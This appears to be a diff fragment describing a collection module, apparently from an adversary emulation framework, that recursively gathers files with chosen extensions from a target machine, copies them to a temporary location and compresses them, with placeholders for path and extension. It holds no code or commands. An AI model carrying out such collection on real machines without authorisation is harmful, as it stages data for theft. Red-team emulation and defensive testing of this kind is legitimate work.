+Collect all specified file extensions recursively from a specified file path on the target machine. All located files are copied into a temporary location before being compressed.

+- Windows
+- Linux

+Note:
+- ```{{ path }}```: requires a default path to start recursive search from
+- ```{{ extension }}```: requires a file extension to search for
